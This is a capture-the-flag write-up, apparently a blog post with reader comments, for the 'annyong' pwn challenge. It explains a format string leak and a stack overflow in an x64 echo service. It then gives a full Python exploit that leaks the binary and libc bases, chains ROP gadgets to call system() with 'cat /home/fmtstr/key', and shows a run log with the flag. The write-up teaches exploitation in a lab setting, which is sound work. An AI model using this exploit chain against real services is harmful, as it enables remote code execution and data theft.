Annyong - pwn 4

The annyong service is an x64 ELF for Linux, PIC executable, without stackexec. It is basically an echo inetd service, so using stdin/stdout. As with most pwnables -0x41414141?- besides yolo this year, not much RE to do. main is just a call to 0x108c, which basically is:

push rbp
mov rbp, rsp
sub rsp, 810h
mov [rbp-4], 0
jmp short loc_1113
mov rax, cs:stdin_ptr
mov rax, [rax]
mov rdx, rax 
lea rax, [rbp-810h]
mov esi, 900h 
mov rdi, rax
call _fgets
lea rax, [rbp-810h]
mov rdi, rax 
mov eax, 0
call _printf

When rbp-4 is not null, the function returns, so we have both a format string and a 0xf0 bytes overflow. There is a strchr within the function which forbids the use of 'n', so we cannot %n our way to victory. Anyway, it's simpler in this case to just leak addresses with the format string and ROP after. Teams who solved incest before -or communicate better than us-, could use the same libc for an easy exploit. I don't think organizers thought of this or it wouldn't have been 4 points, but guess what, me neither - and it's not like it's the first time this happens to me. After all the writeup should be more interesting that way ^^.

We have a PIC executable, so before doing anything, we need to retrieve its load base to get .text and GOT addresses, which can be easily done by getting the return address from the format string:

$ nc 5679

The return address within main() is at offset 0x1127, so we can deduce the elf's load base. With the same technique, we can get main()'s rbp -word 264- and deduce the buffer start, at offset -0x820. From there we can use %s to disclose any arbitrary address, the same way we usually do %n. The buffer starts at word 6 of the format string:

s.sendall('%7$s' + 'A'*4 + struct.pack("<Q", addr) + '\n')
ret ="(.*)AAAA", s.recv(1024), re.DOTALL).group(1)
ret += '\x00'*(8 - len(ret))
return struct.unpack("<Q", ret)[0]

This way, we can disclose any GOT address. Even if we lack the real libc's offsets, it's easy to get the libc base with __libc_start_main offset, as it does not vary much - always around 0x21XXX. From there, if we are to call a libc function, we need to control rdi, which does not point to the buffer at the end of the vulnerable function. The only interesting chunk in the executable at offset 0x1086 allows us to control rdi via rsi:

mov rdi, rsi

You typically don't find pop rdi/ret in x64 executables, but most functions with arguments start with mov [rbp-X], rdi/rsi/... As we control rbp from the vulnerable function's leave/ret, if we find a function that leaves with a controlled rsi value, we can control rdi. There is a write wrapper at 0xfd4 that does just that:

mov rcx, [rbp-10h]
mov eax, [rbp-4]
mov rsi, rcx
mov edi, eax
call _write

Having spotted the read GOT entry, we also find a read wrapper at 0x101d. So the basic exploit idea is to use the read_wrapper, bypassing the mov [rbp+X], reg instructions, to get a string at an arbitrary address within the stack or bss, then chain a call to the write wrapper, which allows us to check that the rop works so far in the first place, and sets rsi to an arbitrary value. We use the mov rdi, rsi chunk to control rdi and can then call any libc address.

We are only missing an exact address to libc's system(). This is no hard task with an inetd service though, as we can do a slight bruteforce around our own system() offset and use assert() messages to check roughly where we are:

[offset_guess + 0x1c] Command: id
fmtstr_inetd_64: ../stdlib/strtod_l.c:1569: ____strtold_l_internal: Assertion `empty == 1' failed.
[offset_guess + 0x188c] Command: id
uid=1001(fmtstr) gid=1001(fmtstr) groups=1001(fmtstr)

There we know we are in strtod_l, which is roughly 10000 bytes away max from system(), so with 4 threads incrementing 4 bytes by 4, we get there in a matter of minutes. It seems we have our sploit:


import socket
import struct
import re
import sys

HOST = ""
PORT = 5679

def get_stack_qword(s, idx):
	return int(s.recv(1024), 16)

def get_arbitrary_address(s, addr):
	s.sendall('%7$s' + 'A'*4 + struct.pack("<Q", addr) + '\n')
	ret ="(.*)AAAA", s.recv(1024), re.DOTALL).group(1)
	ret += '\x00'*(8 - len(ret))
	return struct.unpack("<Q", ret)[0]

# prog offsets
vuln_ret_offset = 0x1127

# stack offsets
buffer_ebp_offset = 0x820

#libc offsets
libc_start_main_offset = 0x21680
system_offset = 0x4512c

s = socket.socket()
s.connect((HOST, PORT))

load_base = get_stack_qword(s, 265) - vuln_ret_offset
if load_base & 0xfff != 0:
	print "[-] Bad segment offset :("
print "[+] .text @ " + hex(load_base)
# resolved offsets + gadgets
lsm_got = load_base + 0x202050
restart = load_base + 0x111E
write_from_stackframe = load_base + 0xfe3
read_from_stackframe = load_base + 0x102f
mov_rsi_rdi = load_base + 0x1086

lsm = get_arbitrary_address(s, lsm_got)
libc = lsm - libc_start_main_offset
if libc & 0xfff != 0:
	print "[-] Bad libc offset. Got __libc_start_main = " + hex(lsm)
print "[+] libc base @ " + hex(libc)

buffer_start = get_stack_qword(s, 264) - buffer_ebp_offset
print "[+] buffer_start @ " + hex(buffer_start)

# read() an arbitrary string somewhere readable (took start of buffer - 1000)
cmd_str = "cat /home/fmtstr/key"
cmd_buffer_addr = buffer_start - 1000
stack_frame = struct.pack("<Q", cmd_buffer_addr) + struct.pack("<Q", len(cmd_str)) + struct.pack("<Q", 0)
payload = stack_frame + 'A'*(0x810 - len(stack_frame)) + struct.pack("<Q", buffer_start + 0x20) + struct.pack("<Q", read_from_stackframe) + struct.pack("<Q",restart) + '\n'
#Stage 1 : return into read wrapper, with stack frame pointing to buffer + 0x20
# => stack frame starts at buffer_start
# return into main to call vulnerable function a second time
s.sendall(payload + '\n')
# Send string to be read()
s.sendall(cmd_str + '\x00')

# check second ebp
buf_2 = get_stack_qword(s, 264) - buffer_ebp_offset
if buf_2 != buffer_start:
	print "[?] buffer_start #2 does not match buffer_start (0x%x v. 0x%x)"%(buffer_start, buf_2)
	buffer_start = buf_2

# we chain 3 calls
# - write from stackframe that finishes with rsi pointing to the buffer arg (set to @cmd_buffer_addr)
# - rdi = rsi chunk from the end of read_from_stackframe
# - system() with rdi pointing to cmd_buffer_addr 
stack_frame = "A"*8 + struct.pack("<Q", cmd_buffer_addr) + 'A'*4 + struct.pack("<I", 1) + 'A'*8 + struct.pack("<Q", mov_rsi_rdi) + struct.pack("<Q", libc + system_offset)
payload = stack_frame + 'A'*(0x810 - len(stack_frame)) + struct.pack("<Q", buffer_start + 0x18) + struct.pack("<Q", write_from_stackframe)
s.sendall(payload + '\n')
print "Output:", s.recv(len(cmd_str))
print s.recv(1024)

Yeah, it totally looked like this some hours ago ^^ Run example:

$ ./ 
[+] .text @ 0x7f8b537fc000
[+] libc base @ 0x7f8b53218000
[+] buffer_start @ 0x7fff9c00dcb0
Output: cat /home/fmtstr/key
The key is: Kernel airbags have been fully deployed

And here goes the key: Kernel airbags have been fully deployed. Pretty nice to have had human readable keys by the way :)


  1. FrizN 07/05/14 04:12

    After disclosing the real address from __libc_start_main, you are provided with an address that looks like 0x7fAAAAAAABBB. BBB are the exact 12 less significant bits of __libc_start_main's offset, as the beginning of the library is page-aligned.

    The magic 0x21BBB offset is just a common offset shared by debian-based systems such as Ubuntu that was used in this particular CTF. Other than that, a lot of teams have repositories of major libc versions and are able to fingerprint with one or two symbols the actual libc used.

    I don't remember how I spotted the read/wrute wrappers, probably while searching for appropriate ROP gadgets.

  2. Anonyme 07/02/14 21:22

    How did you get libc_start_main_offset ? You said it is "always around 0x21XXX", did you bruteforce it ?

    And how did you find about read and write wrapper offset ?

  3. FrizN 06/21/13 10:23

    Ya it's an x64 thing. Args are passed in registers (rdi, rsi, rdx, rcx, r9, r8 and then the stack).

  4. Anonyme 06/20/13 11:00

    why do you need to control rdi in order to call a function? I don't get this......
    it's an x64 thing, or what?

  5. FrizN 06/18/13 10:13

    ahah merci bien =)